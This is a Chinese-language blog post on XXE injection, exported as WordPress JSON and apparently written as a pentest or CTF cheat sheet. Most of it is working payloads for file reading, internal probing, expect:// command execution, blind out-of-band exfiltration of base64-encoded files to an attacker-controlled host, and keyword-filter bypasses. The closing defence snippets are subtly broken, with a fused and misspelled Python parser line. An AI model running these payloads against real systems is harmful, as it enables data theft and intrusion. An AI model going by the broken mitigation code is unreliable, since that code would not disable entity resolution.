{"id":66,"date":"2026-06-07T00:27:39","date_gmt":"2026-06-06T16:27:39","guid":{"rendered":"https:\/\/pumpk1n.icu\/?p=66"},"modified":"2026-06-07T16:34:03","modified_gmt":"2026-06-07T08:34:03","slug":"xee","status":"publish","type":"post","link":"https:\/\/pumpk1n.icu\/index.php\/2026\/06\/07\/xee\/","title":{"rendered":"XEE"},"content":{"rendered":"<h2>\u6982\u5ff5<\/h2>\n<ul>\n<li>XML\u88ab\u8bbe\u8ba1\u4e3a\u4f20\u8f93\u548c\u5b58\u50a8\u6570\u636e\uff0cXML\u6587\u6863\u7ed3\u6784\u5305\u62ecXML\u58f0\u660e\u3001DTD\u6587\u6863\u7c7b\u578b\u5b9a\u4e49(\u53ef\u9009)\u3001\u6587\u6863\u5143\u7d20\uff0c\u5176\u7126\u70b9\u662f\u6570\u636e\u7684\u5185\u5bb9\uff0c\u5176\u628a\u6570\u636e\u4eceHTML\u5206\u79bb\uff0c\u662f\u72ec\u7acb\u4e8e\u8f6f\u4ef6\u548c\u786c\u4ef6\u7684\u4fe1\u606f\u4f20\u8f93\u5de5\u5177\u3002<\/li>\n<li>XXE\u6f0f\u6d1e\u5168\u79f0XMLExternal Entity Injection\uff0c\u5373xml\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165\u6f0f\u6d1e\uff0cXXE\u6f0f\u6d1e\u53d1\u751f\u5728\u5e94\u7528\u7a0b\u5e8f\u89e3\u6790XML\u8f93\u5165\u65f6\uff0c\u6ca1\u6709\u7981\u6b62\u5916\u90e8\u5b9e\u4f53\u7684\u52a0\u8f7d\uff0c\u5bfc\u81f4\u53ef\u52a0\u8f7d\u6076\u610f\u5916\u90e8\u6587\u4ef6\uff0c\u9020\u6210\u6587\u4ef6\u8bfb\u53d6\u3001\u547d\u4ee4\u6267\u884c\u3001\u5185\u7f51\u7aef\u53e3\u626b\u63cf\u3001\u653b\u51fb\u5185\u7f51\u7f51\u7ad9\u7b49\u5371\u5bb3\u3002<\/li>\n<\/ul>\n<p>XML\u88ab\u8bbe\u8ba1\u4e3a\u4f20\u8f93\u548c\u5b58\u50a8\u6570\u636e\uff0c\u5176\u7126\u70b9\u662f\u6570\u636e\u7684\u5185\u5bb9\u3002\nHTML\u88ab\u8bbe\u8ba1\u7528\u6765\u663e\u793a\u6570\u636e\uff0c\u5176\u7126\u70b9\u662f\u6570\u636e\u7684\u5916\u89c2\u3002\nHTML\u65e8\u5728\u663e\u793a\u4fe1\u606f\uff0c\u800cXML\u65e8\u5728\u4f20\u8f93\u4fe1\u606f\u3002<\/p>\n<h2>\u793a\u4f8b<\/h2>\n<pre><code>&lt;!--\u6587\u6863\u7c7b\u578b\u5b9a\u4e49--&gt;\n&lt;!DOCTYPE note [    &lt;!--\u5b9a\u4e49\u6b64\u6587\u6863\u65f6note\u7c7b\u578b\u7684\u6587\u6863--&gt;\n&lt;!ELEMENT note (to,from,heading,body)&gt;  &lt;!--\u5b9a\u4e49note\u5143\u7d20\u6709\u56db\u4e2a\u5143\u7d20--&gt;\n&lt;!ELEMENT to (#PCDATA)&gt;         &lt;!--\u5b9a\u4e49to\u5143\u7d20\u4e3a&quot;#PCDATA&quot;\u7c7b\u578b--&gt;\n&lt;!ELEMENT from (#PCDATA)&gt;       &lt;!--\u5b9a\u4e49from\u5143\u7d20\u4e3a&quot;#PCDATA&quot;\u7c7b\u578b--&gt;\n&lt;!ELEMENT head (#PCDATA)&gt;       &lt;!--\u5b9a\u4e49head\u5143\u7d20\u4e3a&quot;#PCDATA&quot;\u7c7b\u578b--&gt;\n&lt;!ELEMENT body (#PCDATA)&gt;       &lt;!--\u5b9a\u4e49body\u5143\u7d20\u4e3a&quot;#PCDATA&quot;\u7c7b\u578b--&gt;\n]]]&gt;\n\n&lt;!--\u6587\u6863\u5143\u7d20--&gt;\n&lt;note&gt;\n\n&lt;to&gt;Dave&lt;\/to&gt;\n\n&lt;from&gt;Tom&lt;\/from&gt;\n\n&lt;head&gt;Reminder&lt;\/head&gt;\n\n&lt;body&gt;You are a good man&lt;\/body&gt;\n&lt;\/note&gt;<\/code><\/pre>\n<p>\u6587\u4ef6\u8bfb\u53d6<\/p>\n<pre><code>&lt;?xml version = &quot;1.0&quot;?&gt;\n&lt;!DOCTYPE ANY [\n        &lt;!ENTITY xxe SYSTEM &quot;file:\/\/\/d:\/\/test.txt&quot;&gt;\n]&gt;\n\n&lt;x&gt;&amp;xxe;&lt;\/x&gt;<\/code><\/pre>\n<p>\u5185\u7f51\u63a2\u9488\u6216\u653b\u51fb\u5185\u7f51\u5e94\u7528\uff08\u89e6\u53d1\u6f0f\u6d1e\u5730\u5740\uff09<\/p>\n<pre><code>&lt;?xml version = &quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;\n&lt;!DOCTYPE foo [\n&lt;!ELEMENT foo ANY &gt;\n&lt;!ENTITY rabbit SYSTEM &quot;http:\/\/192.168.137.1:80\/test.txt&quot;&gt;\n]&gt;\n\n&lt;x&gt;&amp;rabbit;&lt;\/x&gt;<\/code><\/pre>\n<p>RCE\n\u8be5CASE\u662f\u5728\u5b89\u88c5expect\u6269\u5c55\u7684PHP\u73af\u5883\u91cc\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n<pre><code>&lt;?xml version = &quot;1.0&quot;?&gt;\n&lt;!DOCTYPE ANY [\n        &lt;!ENTITY xxe SYSTEM &quot;expect:\/\/id&quot;&gt;\n]&gt;\n\n&lt;x&gt;&amp;xxe;&lt;\/x&gt;<\/code><\/pre>\n<p>\u5f15\u5165\u5916\u90e8\u5b9e\u4f53DTD<\/p>\n<pre><code>&lt;?xml version = &quot;1.0&quot;?&gt;\n&lt;!DOCTYPE test [\n        &lt;!ENTITY % file SYSTEM &quot;http:\/\/127.0.0.1\/evil2.dtd&quot;&gt;\n        %file;\n]&gt;\n\n&lt;x&gt;&amp;send;&lt;\/x&gt;\n\n\/\/\u4e0b\u9762\u7684\u662f\u5199\u5165\u6587\u4ef6\u7684\nevil2.dtd:\n&lt;!ENTITY send SYSTEM &quot;file:\/\/\/d:\/test.txt&quot;&gt;<\/code><\/pre>\n<p>\u65e0\u56de\u663e-\u8bfb\u53d6\u6587\u4ef6\nurl\u4e00\u822c\u662f\u81ea\u5df1\u7684\u7f51\u7ad9\uff0c\u901a\u8fc7\u7b2c\u4e00\u6b65\u8bbf\u95ee\u6587\u4ef6\uff0c\u7136\u540e\u518d\u8bbf\u95eedtd\u6587\u4ef6\uff0c\u628a\u8bfb\u53d6\u5230\u7684\u6570\u636e\u8d4b\u7ed9data\uff0c\u7136\u540e\u6211\u4eec\u53ea\u9700\u8981\u518d\u81ea\u5df1\u7684\u7f51\u7ad9\u65e5\u5fd7\uff0c\u6216\u8005\u5199\u4e2aphp\u811a\u672c\u4fdd\u5b58\u4e0b\u6765\uff0c\u5c31\u80fd\u770b\u5230\u8bfb\u53d6\u5230\u7684\u6587\u4ef6\u6570\u636e\u4e86\u3002<\/p>\n<pre><code>&lt;?xml version = &quot;1.0&quot;?&gt;\n&lt;!DOCTYPE test [\n        &lt;!ENTITY % file SYSTEM &quot;php:\/\/filter\/read=convert.base64-encode\/resource=d:\/test.txt&quot;&gt;\n        &lt;!ENTITY % dtd SYSTEM &quot;http:\/\/192.168.xx.xxx:80XX\/test.dtd&quot;&gt;\n        %dtd;\n        %send;\n]&gt;\n\ntest.dtd:\n&lt;!ENTITY % payload\n    &quot;&lt;!ENTITY &amp;#x25; send SYSTEM\n&#039;http:\/\/192.168.xx.xxx:80xx\/?data=%file;&#039;&gt;&quot;\n&gt;\n%payload;<\/code><\/pre>\n<h2>\u7ed5\u8fc7<\/h2>\n<h3>ENTITY SYSTEM file\u7b49\u5173\u952e\u8bcd\u88ab\u8fc7\u6ee4<\/h3>\n<p>\u4f7f\u7528\u7f16\u7801\u65b9\u5f0f\u7ed5\u8fc7\uff1aUTF-16BE<\/p>\n<pre><code>cat payload.xml | iconv -f utf-8 -t utf-16be &gt; payload.8-16be.xml<\/code><\/pre>\n<h3>http\u88ab\u8fc7\u6ee4<\/h3>\n<p><code>data:\/\/<\/code>\u534f\u8bae<\/p>\n<pre><code>&lt;?xml version=&quot;1.0&quot; ?&gt;\n&lt;!DOCTYPE test [\n    &lt;!ENTITY % a &quot; &lt;!ENTITY %  b SYSTEM &#039;http:\/\/118.25.14.40:8200\/hack.dtd&#039;&gt; &quot;&gt; \n    %a;\n    %b;\n]&gt;\n\n&lt;test&gt;&amp;hhh;&lt;\/test&gt;<\/code><\/pre>\n<p><code>file:\/\/<\/code>\u534f\u8bae<\/p>\n<pre><code>&lt;?xml version=&quot;1.0&quot; ?&gt;\n&lt;!DOCTYPE test [\n    &lt;!ENTITY % a SYSTEM &quot;file:\/\/\/var\/www\/uploads\/cfcd208495d565ef66e7dff9f98764da.jpg&quot;&gt;\n    %a;\n]&gt;\n&lt;!--\u4e0a\u4f20\u6587\u4ef6--&gt;\n&lt;!ENTITY % b SYSTEM &#039;http:\/\/118.25.14.40:8200\/hack.dtd&#039;&gt;<\/code><\/pre>\n<p><code>php:\/\/<\/code>\u534f\u8bae\u52a0\u6587\u4ef6\u4e0a\u4f20<\/p>\n<pre><code>&lt;?xml version=&quot;1.0&quot; ?&gt;\n&lt;!DOCTYPE test [\n    &lt;!ENTITY % a SYSTEM &quot;php:\/\/filter\/resource=\/var\/www\/uploads\/cfcd208495d565ef66e7dff9f98764da.jpg&quot;&gt;\n    %a;\n]&gt;\n\n&lt;test&gt;\n        &amp;hhh;\n    &lt;\/test&gt;\n\n&lt;!--\u4e0a\u4f20\u6587\u4ef6--&gt;\n&lt;!ENTITY hhh SYSTEM &#039;php:\/\/filter\/read=convert.base64-encode\/resource=.\/flag.php&#039;&gt;<\/code><\/pre>\n<h2>\u4fee\u590d\u4e0e\u9632\u5fa1<\/h2>\n<h3>\u65b9\u68481-\u7981\u7528\u5916\u90e8\u5b9e\u4f53<\/h3>\n<p>PHP:<\/p>\n<pre><code>libxml_disable_entity_loader(true);<\/code><\/pre>\n<p>JAVA:<\/p>\n<pre><code>DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);<\/code><\/pre>\n<p>Python<\/p>\n<pre><code>from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_enities=False))<\/code><\/pre>\n<h3>\u65b9\u68482-\u8fc7\u6ee4\u7528\u6237\u63d0\u4ea4\u7684XML\u6570\u636e<\/h3>\n<p>\u8fc7\u6ee4\u5173\u952e\u8bcd\uff1a<code>&lt;!DOCTYPE<\/code>\u548c<code>&lt;!ENTITY<\/code>\uff0c\u6216\u8005<code>SYSTEM<\/code>\u548c<code>PUBLIC<\/code><\/p>","protected":false},"excerpt":{"rendered":"<p>\u6982\u5ff5 XML\u88ab\u8bbe\u8ba1\u4e3a\u4f20\u8f93\u548c\u5b58\u50a8\u6570\u636e\uff0cXML\u6587\u6863\u7ed3\u6784\u5305\u62ecXML\u58f0\u660e\u3001DTD\u6587\u6863\u7c7b\u578b\u5b9a\u4e49(\u53ef\u9009)\u3001\u6587\u6863\u5143\u7d20\uff0c\u5176\u7126\u70b9\u662f\u6570\u636e\u7684\u5185\u5bb9\uff0c\u5176\u628a\u6570 &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[6,16],"tags":[],"class_list":["post-66","post","type-post","status-publish","format-standard","hentry","category-owasp","category-xxe"],"_links":{"self":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts\/66","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/comments?post=66"}],"version-history":[{"count":2,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts\/66\/revisions"}],"predecessor-version":[{"id":68,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/posts\/66\/revisions\/68"}],"wp:attachment":[{"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/media?parent=66"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/categories?post=66"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/pumpk1n.icu\/index.php\/wp-json\/wp\/v2\/tags?post=66"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}